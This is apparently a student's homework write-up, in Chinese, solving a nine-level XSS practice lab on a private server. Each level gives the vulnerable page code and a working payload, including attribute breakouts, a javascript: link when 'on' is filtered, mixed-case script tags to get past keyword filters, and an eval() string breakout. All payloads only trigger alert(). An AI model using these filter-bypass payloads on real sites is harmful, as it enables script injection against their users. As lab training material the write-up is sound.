XSS作业

2023202296 李甘

第一题

注意到 URL http://10.10.17.36:32893/level1.php?name=%E9%95%9C%E5%AD%90 中的“name=”部分，我们猜测 name 的内容可能被嵌入了网页。使用 http://10.10.17.36:32893/level1.php?name=test 测试，可以验证这一点。

如果 name 没有设置相应的安全防护，则可以通过该字段进行 XSS 注入。

尝试构造：

```
<img src="test" onerror="alert()"/>
```

经过 URL 转义得到 http://10.10.17.36:32893/level1.php?name=%3Cimg%20src%3D%22test%22%20onerror%3D%22alert%28%29%22%2F%3E

成功通关。

第二题

注意到 URL http://10.10.17.36:32893/level2.php?keyword=%E5%8F%8D%E5%B0%84 中的“keyword=”部分，我们猜测 keyword 的内容可能被嵌入了网页。使用 http://10.10.17.36:32893/level2.php?keyword=test 测试，可以验证这一点。

尝试上一次的方法：http://10.10.17.36:32893/level2.php?keyword=%3Cimg%20src%3D%22test%22%20onerror%3D%22alert%28%29%22%2F%3E

发现没有成功。查看网页源代码，发现该字段被正确转义了，无法攻击：

```
<center><del>至少能让这个奇怪的&lt;img src=&quot;test&quot; onerror=&quot;alert()&quot;/&
```

阅读网页代码，寻找到这样一段不安全的代码：

```
<script>
    document.querySelector(".open-text").onclick = function () {
```

```
        var box = document.createElement("div");
        box.id='box';
        box.style = "width:250px; height:200px; border:1px solid #e5e5e5; background:#
        var name = document.createElement("span");
        name.id = "name";
        name.innerText = "kasihappy: ";
        var input = document.createElement("input");
        input.id = "input-text";
        document.querySelector(".box-container").appendChild(box);
        document.querySelector(".input-container").appendChild(name);
        document.querySelector(".input-container").appendChild(input);
        var btn = document.createElement("input");
        btn.id = "btn";
        btn.type = "button";
        btn.value = "发送信息";
        btn.onclick = function () {
            var oBox = document.getElementById("box");
            var oName = document.getElementById("name");
            var oText = document.getElementById("input-text");
            oBox.innerHTML = oBox.innerHTML + oName.innerHTML + oText.value + "<br/>"
        }
        document.querySelector(".input-container").appendChild(btn);
    }
</script>
```

其中使用的 innerHTML 内的字符串拼接是不安全的。在页面上的聊天框内输入 `<img src="test" onerror="alert()"/>` ，攻击成功。

第三题

按照上一题的经验，直接阅读代码：

```
<script>
    var text1 = "这个镜子至少看起来正常了些，kasihappy如是安慰自己";
    var text2 = "主导者对自己的帮助好像受到了什么限制，难道祂也正在被什么东西影响着吗...";
    var text3 = "kasihappy谨慎地观察着镜子，难道这面镜子的主人能对主导者产生威胁？他不愿去想";
    var text4 = "轻抚着镜子的边缘，kasihappy突然感觉一阵恍惚";
    var text5 = "‘当你凝视着深渊的时候，深渊也在凝视着你’，你清楚自己在做什么";
    var text6 = "你的身体越来越轻，穿越了一些结构化的东西，不知为何，祂们突然让你联想到Excel";
    var text7 = "这种漫无目的的彷徨仿佛持续了一个世纪，但你感觉你的思绪好像被记录到了什么地方";
    var text8 = "当你的注意力终于回到你的身体时，你突然发现镜中的你正在微笑的看着你，你很确定那是你的
    var text9 = "还记得上个花神诞祭吗？花神通过另一个自己的告警摆脱无限的轮回";
    var text10 = "镜中人的思绪缓缓浮现在你的眼前....";
    var place1 = document.getElementById("text1");
    var place2 = document.getElementById("text2");
```

```
var place3 = document.getElementById("text3");
var place4 = document.getElementById("text4");
var place5 = document.getElementById("text5");
var place6 = document.getElementById("text6");

function type() {
    var btn = document.createElement("button");
    btn.className = "next-stage";
    btn.style = "background-color: red";
    btn.innerText = "摇摇头，试图冷静下来";
    document.getElementById("button-holder").appendChild(btn);
    document.querySelector(".next-stage").onclick = function () {
        place1.innerHTML = "$@!##%&$!%@#$!@#!@$%^&!#$!$!@#$&)($@&@^";
        place2.innerHTML = ")(&#@^@(&*^$(@*$@^((&*@#!#!@*)(@&)(*@^#*^@*)^#";
        place3.innerHTML = "!#_!#{#}!!#)(&Q%*%*&!#_:}}{)_!#(&(&%^#!$&%&*!%^*&#%*&!
        place4.innerHTML = ")_&(*@$%^*&@%$*&^@%*$&@)^$(*&$@@";
        setTimeout(function () {
            place1.innerHTML = text1;
            place2.innerHTML = text2;
            place3.innerHTML = text3;
            place4.innerHTML = text4;
            place5.innerHTML = '';
            place6.innerHTML = '';
            document.getElementById("button-holder").innerHTML = '';
        }, 900);

        setTimeout(function () {
            type();
        }, 1000);
    }
    var btn1 = document.createElement("button");
    btn1.className = "look-inside";
    btn1.style = "background-color: red";
    btn1.innerText = "揉揉眼，与镜中人对视";
    document.getElementById("button-holder").appendChild(btn1);
    document.querySelector(".look-inside").onclick = function () {
        place1.innerHTML = text5;
        place2.innerHTML = text6;
        place3.innerHTML = text7;
        place4.innerHTML = text8;
        place5.innerHTML = text9;
        place6.innerHTML = text10;
        document.getElementById("button-holder").innerHTML = '';
        var box = document.createElement("div");
        box.id='box';
        box.style = "width:300px; height:auto; border:1px solid #e5e5e5; backgroun
        document.querySelector(".box-container").appendChild(box);
        var oBox = document.getElementById("box");
```

```
            oBox.innerHTML += '难道这面镜子的主人能对主导者产生威胁' + '<br/>';
            document.getElementById("text7").innerText = "当你的思绪过多时，尝试集中注意力想
        }
    }

    type();

</script>
```

观察到 http://10.10.17.36:32893/level3.php?thought=%e9%9a%be%e9%81%93%e8%bf%99%e9%9d%a2%e9%95%9c%e5%ad%90%e7%9a%84%e4%b8%bb%e4%ba%ba%e8%83%bd%e5%af%b9%e4%b8%bb%e5%af%bc%e8%80%85%e4%ba%a7%e7%94%9f%e5%a8%81%e8%83%81 中的 thought 的内容与 `oBox.innerHTML += '难道这面镜子的主人能对主导者产生威胁' + '<br/>';` 中的内容一样，猜测可能是注入点。

使用之前的 Payload，构造 URL http://10.10.17.36:32893/level3.php?thought=%3C%2Fdel%3E%3Cimg%20src%3D%22test%22%20onerror%3D%22alert%28%29%22%2F%3E%3Cdel%3E，并点击第二个按钮，成功通关。

第四题

看到 URL 为http://10.10.17.36:32893/level4.php?input=，将其改为http://10.10.17.36:32893/level4.php?input=test并阅读网页代码，观察到以下元素：

```
<center class="input-container"><input id="input-text" type="hidden" value="test"></ce
```

这里会不会是注入点呢？尝试构造如下内容：

```
"><img src="test" onerror="alert()
```

转义后构造出如下URL http://10.10.17.36:32893/level4.php?input=%22%3E%3Cimg%20src%3D%22test%22%20onerror%3D%22alert%28%29，访问后发现攻击成功。

第五题

这道题略有难度。

在经过很多次失败尝试后，我决定阅读文案，寻找出题人的善意提示。

> 生活总是需要一些事件作为仪式感嘛

大师，我悟了，应该用事件！

经过反复尝试，发现 input= 中对input内的特殊字符的转义并不充分，没有处理单引号、等号和括号。使用 `' onfocus='alert()` 构造URL http://10.10.17.36:32901/level5.php?input=%27%20onfocus=%27alert()，当 focus 移至 input box 时攻击成功。

参考文献：xss 常用标签及绕过姿势总结

第六题

这题也略有难度。经过尝试，input= 对 input 中全部的 "on" 进行了防御性替换，这使得利用onclick、onerror、onfocus等事件进行注入变得不可能。幸运的是，改题目中未对引号等字符进行处理。

然而所有在属性中注入代码的方法都一定要带有字符串“on”吗？答案是否定的。

构造如下内容：

```
' hidden><a href=javascript:alert()>下一步</a><div class='
```

转义并拼接后得到 URL http://10.10.17.36:32901/level6.php?input=%27%20hidden%3E%3Ca%20href=javascript:alert()%3E%E4%B8%8B%E4%B8%80%E6%AD%A5%3C/a%3E%3Cdiv%20class=%27。在用户眼中，原先的按钮被替换为了我们的被注入了脚本的 <a> 元素。用户点击这个写有“下一步”的标签后，攻击成功。

参考文献：xss 常用标签及绕过姿势总结

第七题

这题的注入点和上一题性质类似，使用如下内容可以攻击：

```
\' hidden><a href=javascript:alert()>下一步</a><div class=\'
```

转义后得到这个 URL http://10.10.17.36:32901/level7.php?input=\%27%20hidden%3E%3Ca%20href=javascript:alert()%3E%E4%B8%8B%E4%B8%80%E6%AD%A5%3C/a%3E%3Cdiv%20class=\%27，用户点击右侧按钮然后点击“下一步”后中招。

第八题

这题对关键词的封锁比较全面，不过查阅 XSS 相关教程后发现可以尝试用大小写的方法绕过：

```
'><scrIpt>alert()</scrIpt><div class='
```

经测试攻击成功。

第九题

阅读代码，找到 `eval()`：

```
<script>
  function submit() {
      var data = {
          input: document.getElementById("submit-input").value
      }
      fetch('back.php', {
          method: 'POST',
          headers: {
              'Content-Type': 'application/json'
          },
          body: JSON.stringify(data)
      })
      .then(response => response.json())
      .then(data => {
        setTimeout(function (){
            eval(data.res);
            document.getElementById("res").innerText = hello;
        }, 100);
      })
      .catch(error => {
          console.error('Error:', error);
      });
  }
</script>
```

经过尝试，发现从左边第一个按钮点进去的界面输入“test”后后端返回的内容为

```
{"res":"var hello='test'"}
```

结合上述信息，构造如下内容对 `eval()` 进行注入：

```
1'; alert(); var t='2
```

输入左边第一个按钮点进去的界面的文本输入框后提交，攻击成功。